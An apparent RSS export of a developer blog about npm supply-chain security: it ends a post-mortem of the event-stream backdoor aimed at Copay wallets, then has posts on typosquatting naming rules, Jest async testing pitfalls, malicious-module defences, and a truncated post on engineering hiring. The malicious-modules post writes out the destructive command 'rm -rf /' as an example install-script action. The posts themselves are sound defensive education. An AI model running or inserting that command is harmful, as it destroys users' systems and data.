&lt;p&gt;&lt;strong&gt;October 29, 2018:&lt;/strong&gt; &lt;code&gt;jaydenseric&lt;/code&gt; opened an &lt;a href=&quot;https://github.com/remy/nodemon/issues/1442&quot;&gt;issue against nodemon&lt;/a&gt; reporting an unexpected deprecation warning. This message is in line with OpenSSL’s recommendation to use a more modern algorithm instead of &lt;code&gt;EVP_BytesToKey&lt;/code&gt; it is recommended that developers derive a key and IV on their own using &lt;code&gt;[crypto.scrypt()](https://docs.google.com/document/d/19g1krCBUjjPyz7mkKT-xNoJXIG_PQYcZCm0HfcH8DnM/edit)&lt;/code&gt; &lt;a href=&quot;https://docs.google.com/document/d/19g1krCBUjjPyz7mkKT-xNoJXIG_PQYcZCm0HfcH8DnM/edit&quot;&gt;and to use&lt;/a&gt; &lt;code&gt;[crypto.createDecipheriv()](https://docs.google.com/document/d/19g1krCBUjjPyz7mkKT-xNoJXIG_PQYcZCm0HfcH8DnM/edit)&lt;/code&gt; to create the Decipher object.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__EqTRck__pZLeebpKv.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;November 19, 2018: &lt;code&gt;NewEraCracker&lt;/code&gt; opened an issue &lt;a href=&quot;https://github.com/remy/nodemon/issues/1451&quot;&gt;against event-stream&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__zfRMohqvUW__SCVXJ.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;November 19, 2018:&lt;/strong&gt; &lt;code&gt;NewEraCracker&lt;/code&gt; opened an issue &lt;a href=&quot;https://github.com/remy/nodemon/issues/1451&quot;&gt;against nodemon.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__e1aKbPTeC3j6FXf0.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;November 20, 2018:&lt;/strong&gt; &lt;code&gt;FallingSnow&lt;/code&gt; &lt;a href=&quot;https://github.com/remy/nodemon/issues/1442#issuecomment-440435714&quot;&gt;suspects it’s an injection attack.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;November 20, 2018:&lt;/strong&gt; &lt;code&gt;FallingSnow&lt;/code&gt; opens the &lt;a href=&quot;https://github.com/dominictarr/event-stream/issues/116&quot;&gt;issue against event-stream.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;November 26, 2018:&lt;/strong&gt; flatmap-stream package got removed from npm.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;November 27, 2018:&lt;/strong&gt; Snyk published a &lt;a href=&quot;https://snyk.io/blog/malicious-code-found-in-npm-package-event-stream&quot;&gt;blog post&lt;/a&gt; on the issue.&lt;/p&gt;
&lt;h3 id=&quot;the-targetcopay&quot;&gt;The Target: Copay&lt;/h3&gt;
&lt;p&gt;Upon a more detailed inspection of the flatmap-stream code, we can see that this was a surgically targeted attack on &lt;a href=&quot;https://copay.io/&quot;&gt;Copay&lt;/a&gt;, a secure bitcoin wallet platform.&lt;/p&gt;
&lt;p&gt;The malicious flatmap-stream code was downloaded millions of times, and executed many million more. The attackers could have done countless evil things here. But instead, their strategy was to wait for the opportunity to be executed when the Copay app was being built. They succeeded, and were built into Copay versions 5.0.2 to 5.1.0.&lt;/p&gt;
&lt;p&gt;The decryption code looked for the key in an environment variable named npm_package_description. This environment variable is set by npm in the root package’s description. It would be only be decrypted if the client application was the bitcoin wallet, Copay, which used the key to decrypt the payload as “A Secure Bitcoin Wallet”. The latter was found by &lt;code&gt;maths22&lt;/code&gt; as he brute forced various npm package descriptions.&lt;/p&gt;
&lt;p&gt;To work this out, the user, &lt;code&gt;maths22&lt;/code&gt;, &lt;a href=&quot;https://github.com/dominictarr/event-stream/issues/116#issuecomment-441745006&quot;&gt;enumerated over different npm package descriptions&lt;/a&gt;, using them as keys, to decrypt the payload. However this wasn’t all, the second payload would execute upon running a &lt;a href=&quot;https://github.com/bitpay/copay/blob/master/package.json#L70-L72&quot;&gt;specific build commands&lt;/a&gt;, essentially only when the ios, android, or desktop applications are being built.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://gist.github.com/jsoverson/3df528d4f0be857fe03c32dafc56a486#file-payload-c-js&quot;&gt;third and final payload&lt;/a&gt; is JavaScript code that will be injected into another dependency, namely &lt;code&gt;./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js&lt;/code&gt;. This was then executed within the app itself, unlike the first two payloads which were executed during build time.&lt;/p&gt;
&lt;p&gt;The malicious code harvested Bitcoins along with the wallet private keys, if the wallet balance was above 100 Bitcoins or 1000 BHC (Bitcoin Cash). Copay issued the following advice to their users:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Users should not attempt to move funds to new wallets by importing affected wallets’ twelve word backup phrases (which correspond to potentially compromised private keys). Users should first update their affected wallets (5.0.2–5.1.0) and then send all funds from affected wallets to a brand new wallet on version 5.2.0, using the Send Max feature to initiate transactions of all funds.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The further suggested that users “should assume” their private keys may have been compromised, and react by “immediately” moving any holdings to new, secure v5.2.0 wallets.&lt;/p&gt;
&lt;p&gt;From the post-mortem of the events and the attack, we can see that this was a well planned and well executed attack, which was performed by professionals and likely took months of preparation.&lt;/p&gt;
&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;The series of events that have been described in this blog are another reminder of how fragile the open-source model can be if not respected. If widely used packages, such as event-stream, were supported by just a small proportion of those who consume it, and take value from it, the malicious takeover could easily have been avoided. The event-stream package was included as a dependency all over the npm ecosystem, being included in at least &lt;a href=&quot;https://github.com/dominictarr/event-stream/files/2616706/flatmap-deps-list.txt&quot;&gt;3931&lt;/a&gt; packages as a dependency. Most notably, affecting top level packages such as: @vue/cli-ui, vscode, nodemon, and ps-tree.&lt;/p&gt;
&lt;p&gt;The malicious package could have even remained unnoticed if not for the deprecation message that caused Jayden Seric to open an issue on the nodemon package. Otherwise, it’s likely it would have not been found for a long time.&lt;/p&gt;
&lt;p&gt;Snyk are are big advocates for responsible disclosure and practice security research as part of their security culture and have a history of collaboration with open source project maintainers.&lt;/p&gt;
&lt;p&gt;If you discover a vulnerability that you would like to responsibly disclose Snyk would love to help if you send a &lt;a href=&quot;https://snyk.io/vulnerability-disclosure&quot;&gt;responsible disclosure form&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Originally published at&lt;/em&gt; &lt;a href=&quot;https://snyk.io/blog/a-post-mortem-of-the-malicious-event-stream-backdoor/&quot;&gt;&lt;em&gt;https://snyk.io&lt;/em&gt;&lt;/a&gt; &lt;em&gt;on December 6, 2018.&lt;/em&gt;&lt;/p&gt;</content:encoded></item><item><title>Fighting npm typosquatting attacks and naming rules for npm modules</title><link>https://lirantal.com/blog/fighting-npm-typosquatting-attacks-and-naming-rules-for-npm-modules-a0b7a86344aa/</link><guid>https://lirantal.com/blog/fighting-npm-typosquatting-attacks-and-naming-rules-for-npm-modules-a0b7a86344aa/</guid><description>I guess naming is a hard task in general, and for the npm registry, the naming rules have evolved from what they were to begin with, much…</description><pubDate>Tue, 18 Sep 2018 01:01:01 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/images/blog/1__C3sCyNGZ3aQhaXzhLCr9Jw.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;I guess naming is a hard task in general, and for the npm registry, the naming rules have evolved from what they were to begin with, much of which was about mitigating typosquatting attacks.&lt;/p&gt;
&lt;h3 id=&quot;uppercase-vs-lowercase&quot;&gt;Uppercase vs Lowercase&lt;/h3&gt;
&lt;p&gt;In the beginning, the npm repository was case-sensitive and allowed to publish the same package names with different cases.&lt;/p&gt;
&lt;p&gt;This lead to the fact that we now have the following two different modules in the repository:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.npmjs.com/package/JSONStream&quot;&gt;JSONStream&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.npmjs.com/package/jsonstream&quot;&gt;jsonstream&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;While the latter has been deprecated in favor of the first, they are still different packages.&lt;/p&gt;
&lt;p&gt;The registry maintains any existing package names with upper case to not break dependency chains in the ecosystem, but it doesn’t allow anymore (for quite some time) to submit any packages with an uppercase.&lt;/p&gt;
&lt;h3 id=&quot;fighting-typosquatting&quot;&gt;Fighting Typosquatting&lt;/h3&gt;
&lt;p&gt;Another stance that triggered naming rules updates on the npm registry has been the typosqautting attacks we’ve been seeing for a while.&lt;/p&gt;
&lt;p&gt;With typosquatting, bad actors could publish malicious modules to the npm registry with names that look much like existing popular modules. The intent being to fool users into installing them, either by driving them to do so through targeted actions or just by mistake — a typo.&lt;/p&gt;
&lt;p&gt;You might have heard about the &lt;a href=&quot;https://blog.npmjs.org/post/163723642530/crossenv-malware-on-the-npm-registry&quot;&gt;cross-env&lt;/a&gt; horror story where a package called &lt;em&gt;crossenv&lt;/em&gt; (notice the typo), mimicked the original one but was also kind enough to send all of your environment variables and the passwords and API keys you have in them, to a remote server.&lt;/p&gt;
&lt;p&gt;This prompted the npm registry folks to fight typosquatting attacks at the naming level and establish the following:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;No new modules are allowed to be published that their names are an exact match with an existing module given that you strip off any punctuation chars.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The npm blog explains this easily with a react-native example — all of the following module names will be disallowed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;react_native&lt;/li&gt;
&lt;li&gt;react.native&lt;/li&gt;
&lt;li&gt;re.a_ct-native&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Further reading:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.npmjs.org/post/168978377570/new-package-moniker-rules&quot; title=&quot;https://blog.npmjs.org/post/168978377570/new-package-moniker-rules&quot;&gt;&lt;strong&gt;New Package Moniker rules&lt;/strong&gt;&lt;br&gt;
_We’ve recently made some changes to how package naming works to better fight typosquatting, and help package authors…_blog.npmjs.org&lt;/a&gt;&lt;a href=&quot;https://blog.npmjs.org/post/168978377570/new-package-moniker-rules&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&quot;naming-rules-you-shouldfollow&quot;&gt;Naming rules you should follow:&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Can’t start with a .&lt;/li&gt;
&lt;li&gt;Can’t start with a _&lt;/li&gt;
&lt;li&gt;Can’t have leading or trailing spaces&lt;/li&gt;
&lt;li&gt;It can’t be &lt;strong&gt;&lt;em&gt;node_modules&lt;/em&gt;&lt;/strong&gt; and it can’t be &lt;strong&gt;&lt;em&gt;favicon.ico&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;It is limited to 214 characters&lt;/li&gt;
&lt;li&gt;No capital letters allowed, only lowercase.&lt;/li&gt;
&lt;li&gt;These special characters are not allowed: “~\’!()*”)’&lt;/li&gt;
&lt;li&gt;Module names must adhere to the typosquatting rules mentioned above&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The above rules are largely based off of &lt;strong&gt;&lt;em&gt;validate-npm-package-name&lt;/em&gt;&lt;/strong&gt; which is used internally by npm itself:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/npm/validate-npm-package-name&quot; title=&quot;https://github.com/npm/validate-npm-package-name&quot;&gt;&lt;strong&gt;npm/validate-npm-package-name&lt;/strong&gt;&lt;br&gt;
_validate-npm-package-name - Is the given string an acceptable npm package name?_github.com&lt;/a&gt;&lt;a href=&quot;https://github.com/npm/validate-npm-package-name&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>Demystifying Jest Async Testing Patterns</title><link>https://lirantal.com/blog/demystifying-jest-async-testing-patterns-b730d4cca4ec/</link><guid>https://lirantal.com/blog/demystifying-jest-async-testing-patterns-b730d4cca4ec/</guid><description>There are several traps that are easy to fall to when it comes to async testing. Moreover, there are several methods of achieving the same…</description><pubDate>Thu, 09 Aug 2018 11:47:06 GMT</pubDate><content:encoded>&lt;p&gt;There are several traps that are easy to fall to when it comes to async testing. Moreover, there are several methods of achieving the same thing depending on your flavor.&lt;/p&gt;
&lt;p&gt;An important insight a developer can possess is what bad practices NOT to follow and identifying bad code patterns.&lt;/p&gt;
&lt;p&gt;In this post I’d like to demystify some of these async patterns and highlight the traps that are hidden inside.&lt;/p&gt;
&lt;h3 id=&quot;expecting-promises&quot;&gt;Expecting Promises&lt;/h3&gt;
&lt;p&gt;Imagine a world without Async/Await.&lt;/p&gt;
&lt;p&gt;In the following use-cases we have an async function &lt;strong&gt;&lt;em&gt;somethingAsync&lt;/em&gt;&lt;/strong&gt; that does some business logic which we want to test and returns a promise, maybe we also stub some of it, but that’s not really the point.&lt;/p&gt;
&lt;p&gt;One pattern of assertions can be to call this stub or actual subject under test and once the promise resolves we chain it to a thenable that allows to assert on the result using Jest’s custom matchers.&lt;/p&gt;
&lt;p&gt;Here is an example:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__acaTkgFtvskzGw6cO2kPuQ.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The thing is , the above test is not written well — &lt;strong&gt;It will always pass&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Because we aren’t returning the promise from the test then Jest has no idea that this test is asynchronous so it just calls the promise and continues on. Since no expectations triggered any errors the test pass.&lt;/p&gt;
&lt;p&gt;The semantics are important to understand:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;As it is, with &lt;strong&gt;&lt;em&gt;somethingAsync&lt;/em&gt;&lt;/strong&gt; rejecting the promise the test itself will pass and there will be a warning for an unhandled promise rejection since there’s nothing to catch it.&lt;/li&gt;
&lt;li&gt;If you change the return value of &lt;strong&gt;&lt;em&gt;somethingAsync&lt;/em&gt;&lt;/strong&gt; to resolve instead of rejecting, then something even worse happens — the expect is never reached and you get a false positive with no indication that the test is not really testing anything.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There’s another variation of the above and that is to wrap any promise with expect and use its built-in matchers to assert on the return value.&lt;/p&gt;
&lt;p&gt;It looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__rJyoft2s6U__3qf9YcHi0KA.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;It’s easy to fall into the trap of this methodology as well because we’re used to asserting data structures or possibly synchronous function calls.&lt;/p&gt;
&lt;p&gt;So the above snippet is also broken — While the expectation is called, there is no way to assert on its return value since the test code has already ended.&lt;/p&gt;
&lt;p&gt;The outcome of the above snippet will be either a blindly passing test, or a test that passes with additional log output due to the unhandled promise rejection and the missed expectation.&lt;/p&gt;
&lt;p&gt;It looks something like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__SyxVYAMZ4xhz26Q9kXcaSw.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The solution for both of the methods laid out above are to return the promise as can be seen in the following example:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1____aknsWasApQi17F7FPh9ow.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;when-errors-golost&quot;&gt;When Errors Go Lost&lt;/h3&gt;
&lt;p&gt;We’re back to our Async/Await world. Yay!&lt;/p&gt;
&lt;p&gt;In the following use-case we are hoping to drive the application towards throwing an error and rejecting the promise and we want to catch it and match the error message.&lt;/p&gt;
&lt;p&gt;A tempting approach is to catch the error thrown, since you know that &lt;strong&gt;&lt;em&gt;getUserName&lt;/em&gt;&lt;/strong&gt; is going to throw, and assert the exact error object and message:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__nPvhOWnog5UUiI4F5ylGRQ.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;There’s a very common error here though, and that’s the fact that if the &lt;strong&gt;&lt;em&gt;getUserName()&lt;/em&gt;&lt;/strong&gt; async function would have been refactored in a way that would actually resolve the promise then the test would blindly pass, therefore rendering this test useless and providing a false positive where it should’ve failed.&lt;/p&gt;
&lt;p&gt;If you’re keen on the try/catch block, one way to deal with the above problem is to declare an expected assertion count as follows:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__dPf4DdgSww8VU64RiwVpPQ.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;2 changes in the above code snippet are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;We updated the &lt;strong&gt;&lt;em&gt;getUserName()&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;to resolve in order to simulate a code refactoring that changed the logic.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;We added an expected assertion count to the test itself&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The above test is going to end with no assertions made due to the catch block not being reached. Jest will then fail the test as it missed the expected assertions count.&lt;/p&gt;
&lt;h4 id=&quot;explicit-expectations&quot;&gt;Explicit Expectations&lt;/h4&gt;
&lt;p&gt;I find assertions count somewhat non-elegant.&lt;br&gt;
Fortunately, there’s another way.&lt;/p&gt;
&lt;p&gt;Jest has matchers for promises that can assert a resolved or rejected promise.&lt;br&gt;
I find this way to be more explicit and self-explaining on what the test is doing or expecting.&lt;/p&gt;
&lt;p&gt;Let’s change the above test:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__XTojhZXRJToF__OHm__3h6Gg.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;You should still remember the golden rules of testing asynchronous code — always return a promise (return the expect) or make sure to await the expectation to unwrap the promise’s return value.&lt;/p&gt;
&lt;h3 id=&quot;expecting-assertions&quot;&gt;Expecting Assertions&lt;/h3&gt;
&lt;p&gt;A final note on when to use and when to avoid assertions planing (based off of &lt;a href=&quot;https://github.com/avajs/ava/blob/master/docs/recipes/when-to-use-plan.md&quot;&gt;Ava’s reference&lt;/a&gt;):&lt;/p&gt;
&lt;p&gt;Avoid &lt;strong&gt;&lt;em&gt;expect.assertions(N)&lt;/em&gt;&lt;/strong&gt; when:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Your tests are synchronous&lt;/li&gt;
&lt;li&gt;You are using promises (in which case, just return the expectation)&lt;/li&gt;
&lt;li&gt;You are using async/await with try/catch (again, just await the expectation)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Use &lt;strong&gt;&lt;em&gt;expect.assertions(N)&lt;/em&gt;&lt;/strong&gt; when:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Your test has conditionals — and therefore, you may have in one branch of code one expectation, and in the other several. This makes it impossible to plan your exact assertions count, but luckily you can use the &lt;strong&gt;&lt;em&gt;expect.hasAssertions()&lt;/em&gt;&lt;/strong&gt; to verify that at least one assertion has been made.&lt;/li&gt;
&lt;li&gt;Your asynchronous test code uses callbacks — if you are asserting inside those callbacks then you want to make sure you define your expected assertions so that you can be sure the callback was indeed called and asserted.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Happy Jesting! 😋&lt;/p&gt;</content:encoded></item><item><title>Malicious Modules — what you need to know when installing npm packages</title><link>https://lirantal.com/blog/malicious-modules-what-you-need-to-know-when-installing-npm-packages-12b2f56d3685/</link><guid>https://lirantal.com/blog/malicious-modules-what-you-need-to-know-when-installing-npm-packages-12b2f56d3685/</guid><description>What if someone was able to directly publish a new vulnerable React version?</description><pubDate>Tue, 17 Jul 2018 09:56:53 GMT</pubDate><content:encoded>&lt;p&gt;What if someone was able to directly publish a new &lt;strong&gt;vulnerable&lt;/strong&gt; React version?&lt;/p&gt;
&lt;p&gt;What if someone gained direct publish access to popular npm modules?&lt;br&gt;
More precisely these are the numbers:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__z2LKU9xAuGSmHxEBGsYmYg.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Read on to understand why, and how it can happen.&lt;/p&gt;
&lt;p&gt;Understanding security concerns in the npm ecosystem is an absolute must for anyone who is doing JavaScript related development.&lt;/p&gt;
&lt;p&gt;Whether you’re a consumer of a package, or an author of one, you should be familiar with the security concerns presented here.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__7apoG__kCuzSWMYjnNJZ17Q.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;malicious-modules&quot;&gt;Malicious Modules&lt;/h3&gt;
&lt;p&gt;npm is an open ecosystem, where anyone with an e-mail address can contribute a module to the repository, and in turn, any user with an npm client installed can consume it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;But what makes a module malicious?&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Upon requiring it, the module could gather information from your system or network, and send it out to a 3rd party.&lt;/li&gt;
&lt;li&gt;Upon installing it, the module could have an install phase, where it will run destructive commands, for example: &lt;strong&gt;&lt;em&gt;rm -rf /&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By now you’re thinking “&lt;em&gt;but who would consciously install a malicious module?&lt;/em&gt;”&lt;/p&gt;
&lt;p&gt;Typosquatting — an attack in which malicious modules are named similar to real modules and could accidentally be installed by a user typo, or phishing websites.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__P0gkqRCywrcAQvuEowfuOg.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;This problem isn’t unique to npm either — it hit both ruby and &lt;a href=&quot;https://arstechnica.com/information-technology/2017/09/devs-unknowingly-use-malicious-modules-put-into-official-python-repository/&quot;&gt;python&lt;/a&gt; as well.&lt;/p&gt;
&lt;p&gt;You’re welcome to read a very interesting and detailed research on the subject by Nikolai Tschacher — &lt;a href=&quot;http://incolumitas.com/2016/06/08/typosquatting-package-managers/&quot;&gt;Typos in package managers — A Bachelors Thesis in Computer Science&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&quot;malicious-contributors&quot;&gt;Malicious Contributors&lt;/h4&gt;
&lt;p&gt;A private case of malicious modules is where malicious contributors may send you a PR with a backdoor, or an added project dependency of their own, which is of course malicious.&lt;/p&gt;
&lt;p&gt;You might not notice it or code-review, and there you have it — you bundled it straight with your own module.&lt;/p&gt;
&lt;h3 id=&quot;compromised-contributors&quot;&gt;Compromised Contributors&lt;/h3&gt;
&lt;p&gt;Raise your hand if you ever submitted a module to npm.&lt;/p&gt;
&lt;p&gt;What would happen if malicious attackers would be able to get their hands on user credentials for module authors or contributors of key modules?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__XcwEULojmZSvp__blNdwrxQ.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Nikita, a member of the Node.js CTC &lt;a href=&quot;https://github.com/ChALkeR/notes/blob/master/Gathering-weak-npm-credentials.md&quot;&gt;released his findings&lt;/a&gt; since almost a year ago about weak passwords that npm module authors use.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/ChALkeR/notes/blob/master/Gathering-weak-npm-credentials.md&quot; title=&quot;https://github.com/ChALkeR/notes/blob/master/Gathering-weak-npm-credentials.md&quot;&gt;&lt;strong&gt;ChALkeR/notes&lt;/strong&gt;&lt;br&gt;
_Some public notes_github.com&lt;/a&gt;&lt;a href=&quot;https://github.com/ChALkeR/notes/blob/master/Gathering-weak-npm-credentials.md&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;He gained (?) module publish permissions to the following modules,&lt;br&gt;
I don’t know if you ever heard of them:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;react&lt;/li&gt;
&lt;li&gt;debug&lt;/li&gt;
&lt;li&gt;request&lt;/li&gt;
&lt;li&gt;koa&lt;/li&gt;
&lt;li&gt;winston&lt;/li&gt;
&lt;li&gt;mysql&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__3ztJVat3ygWSWmlOLZ6ZLw.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;a-saferworld&quot;&gt;A Safer World&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;As a user, you should pay a greater attention of what modules you are installing. Don’t copy&amp;#x26;paste anything blindly.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;npm&lt;/strong&gt; folks themselves have recognized the problem and taken pro-active measures to make typo-squatting a problem.&lt;br&gt;
Read more in their blog post about it: &lt;a href=&quot;http://blog.npmjs.org/post/168978377570/new-package-moniker-rules&quot;&gt;&lt;strong&gt;New Package Moniker rules&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Still, as a user you may want to take extra precaution of not executing install lifecycle scripts when modules get installed/uninstalled. FYI it may break some modules that depend on those lifecycle scripts. This can be done with &lt;strong&gt;&lt;em&gt;npm config set ignore-scripts true&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Npm’s recent acquisition of ^Lift and it’s Node Security Platform means it is possible to better integrate between the npm client and security concerns like checking vulnerabilities when you install/ad-hoc.&lt;br&gt;
This has been made available through the latest npm@6 release: &lt;a href=&quot;https://docs.npmjs.com/getting-started/running-a-security-audit&quot;&gt;https://docs.npmjs.com/getting-started/running-a-security-audit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Make use of tools like &lt;a href=&quot;https://snyk.io&quot;&gt;Snyk&lt;/a&gt; that will let you know if a module you are installing is known to be malicious or have vulnerabilities. It is still relevant as Snyk is considered to have the largest and most up to date vulnerabilities database, plus you are able to patch packages which don’t have a fix yet, and track everything through their platform.&lt;/li&gt;
&lt;li&gt;As a module author &lt;a href=&quot;https://docs.npmjs.com/getting-started/working_with_tokens&quot;&gt;enable 2FA&lt;/a&gt; on npm, and use tools like Snyk in your CI.&lt;/li&gt;
&lt;li&gt;As a module author, make sure you aren’t re-using passwords from other accounts (this is a good tip in general), and make sure your password is strong enough.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;consider-usingnpq&quot;&gt;Consider using &lt;a href=&quot;https://github.com/lirantal/npq&quot;&gt;npq&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;A shameless plug to a tool I developed almost 8 months back —&lt;/p&gt;
&lt;p&gt;Sharing the same concern as others that when I’m about to install a package it might be malicious, how can I further vet it before I’m even installing it on my disk?&lt;/p&gt;
&lt;p&gt;That’s where &lt;a href=&quot;https://github.com/lirantal/npq&quot;&gt;npq&lt;/a&gt; comes in — it has a basic set of checks to run against any packages you’re about to install, for example:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Does it have a pre/post install script?&lt;/li&gt;
&lt;li&gt;Is it pretty new on the registry or has a low level of downloads?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__lf8l8k0I7__pFtvlxKO401Q.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;If one of the packages raises concerns, it will show you the details and if it’s a false positive or just a warning you’re able to continue with the installation process.&lt;/p&gt;
&lt;p&gt;The cool thing about it is that you can alias &lt;strong&gt;&lt;em&gt;npq-hero&lt;/em&gt;&lt;/strong&gt; to &lt;strong&gt;&lt;em&gt;npm&lt;/em&gt;&lt;/strong&gt; or &lt;strong&gt;&lt;em&gt;yarn&lt;/em&gt;&lt;/strong&gt; and it will just work silently behind the scenes for you regardless if you’re using onr or the other.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Remember&lt;/strong&gt;, your app is not your own 500 LOC.&lt;br&gt;
It’s a plethora of dependencies you rely upon and ship to production alongside your own code…&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__8uSU6awGZwuRwcZa7n7AYg.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>What would you focus on when hiring engineering vp for a team of 10?</title><link>https://lirantal.com/blog/2018-06-31_engineering-managment/</link><guid>https://lirantal.com/blog/2018-06-31_engineering-managment/</guid><description>Let&apos;s assume you are tasked with hiring a VP Engineering for a relatively small team, say 10 engineers, which is on a growth trend as the company gets bigger.</description><pubDate>Sun, 01 Jul 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Let’s assume you are tasked with hiring a VP Engineering for a relatively small team, say 10 engineers, which is on a growth trend as the company gets bigger.&lt;/p&gt;
&lt;p&gt;What topics and areas would you expect to cover?&lt;/p&gt;
&lt;p&gt;Here are my raw thoughts on the subject:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;An Engineering Culture: responsible for shipping quality products (dev owns quality), clean code/clean architecture, opposed to quick&amp;#x26;dirty or delivering fast due to deadlines and product pressure. Automation as much as possible (i.e: no manual deployment of servers, no manual QA), designs and architecture that allows scale and growth, but not handling imaginary problems such as a premature optimization where you get lost in building for 1M while you only have 1000 users.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Continuous Improvement: delivering features and products is nice, even if you do CI/CD, saying you do agile is nice. BUT, you also need to learn from it. Meaning, retrospectives are important, lessons learned are important. A mindset of always pushing forward to make things better and evaluating what can be improved.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
